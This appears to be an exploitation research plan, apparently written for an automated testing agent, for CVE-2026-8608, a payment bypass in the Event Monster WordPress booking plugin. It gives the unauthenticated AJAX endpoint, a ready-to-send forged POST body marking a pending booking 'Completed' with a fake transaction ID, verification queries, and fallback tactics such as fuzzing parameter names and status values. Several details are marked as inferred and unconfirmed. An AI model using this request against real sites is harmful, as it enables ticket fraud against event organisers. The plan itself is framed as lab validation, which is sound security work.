Exploitation Research Plan: CVE-2026-8608 (Event Monster Payment Bypass)

This plan outlines the methodology for validating a payment bypass vulnerability in the Event Monster – Manager & Ticket Booking plugin (<= 2.1.0). The vulnerability allows unauthenticated attackers to mark pending bookings as "Completed" by forging payment confirmation data.

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1. Vulnerability Summary

• Vulnerability: Insufficient Verification of Data Authenticity leading to Payment Bypass.
• Location: capture_payment() method (inferred) registered via the em_capture_payment AJAX action.
• Root Cause: The unauthenticated AJAX handler wp_ajax_nopriv_em_capture_payment processes payment status updates based solely on client-supplied POST parameters (transaction ID, amount, and status) without verifying the transaction against the payment gateway (e.g., PayPal API) and without verifying a security nonce.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: em_capture_payment
• Authentication: Unauthenticated (accessible via wp_ajax_nopriv_).
• Vulnerable Parameters (Inferred):
  • booking_id: The ID of the pending event booking.
  • txn_id: A forged transaction ID (e.g., PAYID-MOCK12345).
  • payment_status: Set to Completed.
  • amount: The expected price of the ticket.
• Preconditions: A booking must exist in the database with a status of 'Pending' or 'Processing'.

3. Code Flow (Inferred)

1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=em_capture_payment.
2. Hook Registration: The plugin registers the action:
   add_action('wp_ajax_nopriv_em_capture_payment', array($this, 'capture_payment'));
3. Vulnerable Logic: The capture_payment() function:
   • Retrieves $_POST['booking_id'].
   • Retrieves $_POST['payment_status'] and $_POST['txn_id'].
   • Fails to call check_ajax_referer() or any capability check.
   • Directly updates the booking record in the {prefix}em_bookings table (or similar) to Completed.
   • Triggers the "Payment Successful" email and QR code generation logic.

4. Nonce Acquisition Strategy

The vulnerability description explicitly states the endpoint lacks nonce checks. However, if a nonce is present in the code but bypassed/misconfigured, follow this strategy:

1. Identify Script Localization: Search the source code for wp_localize_script to find the JavaScript object name.
   • Search Pattern: grep -r "wp_localize_script" .
2. Page Creation: Create a page containing the Event Monster booking shortcode to ensure scripts are loaded.
   • wp post create --post_type=page --post_status=publish --post_title="Event Page" --post_content='[event_monster_event_list]' (Shortcode inferred).
3. Extraction: Navigate to the page and use browser_eval to extract the potential nonce:
   • browser_eval("window.event_monster_params?.nonce") (Object name inferred).

Note: Since the CVE report confirms "without nonce or capability checks," this step is likely unnecessary for the primary exploit but useful for confirming the lack of defense.

5. Exploitation Strategy

The goal is to move a booking from Pending to Completed without a real PayPal/Stripe transaction.

Step 1: Obtain a Valid Booking ID

Initiate a booking on the frontend for an event that requires payment. Stop at the payment gateway redirect. Note the booking_id. If the ID is not visible, it can be found in the em_bookings table.

Step 2: Forge the Payment Confirmation

Send the forged AJAX request.

• Tool: http_request
• Method: POST
• URL: http://[target-ip]/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=em_capture_payment&booking_id=[TARGET_BOOKING_ID]&payment_status=Completed&txn_id=FORGED_TXN_999&amount=50.00
  

Step 3: Expected Response

A successful response will likely be a JSON object:

{"success": true, "message": "Payment captured successfully"} 

(Response format inferred based on standard WordPress AJAX patterns).

6. Test Data Setup

1. Install Plugin: Install and activate Event Monster <= 2.1.0.
2. Create Event: Create a paid event using the WP-Admin dashboard.
3. Place Shortcode: Create a page with [event_monster_event_list] (inferred) to allow booking.
4. Create Pending Booking:
   • Visit the site as a guest.
   • Select the event and click "Book Now".
   • Fill in details and proceed to the payment step.
   • Identify the generated booking_id (e.g., via database: wp em_bookings list).

7. Expected Results

• The booking status in the WordPress database changes from Pending to Completed.
• The plugin generates a QR code ticket for the booking.
• The system sends a confirmation email to the guest email address used during the booking.

8. Verification Steps

After the HTTP request, use WP-CLI to verify the state change:

# Check the booking status directly in the database
wp db query "SELECT status, txn_id FROM wp_em_bookings WHERE id = [TARGET_BOOKING_ID]"

# Check if the booking is now marked as paid in the plugin's metadata (if applicable)
wp post get [BOOKING_POST_ID] --field=post_status

9. Alternative Approaches

If the em_capture_payment action is not available:

• Search for Webhooks: Look for wp_ajax_nopriv_em_paypal_ipn or similar IPN (Instant Payment Notification) handlers. These often suffer from the same lack of authenticity verification if they don't validate the request back with PayPal.
• Parameter Fuzzing: If booking_id is not the correct parameter, check for order_id, id, or item_number.
• Status Variations: Try variations for payment_status such as Success, succeeded, or 1.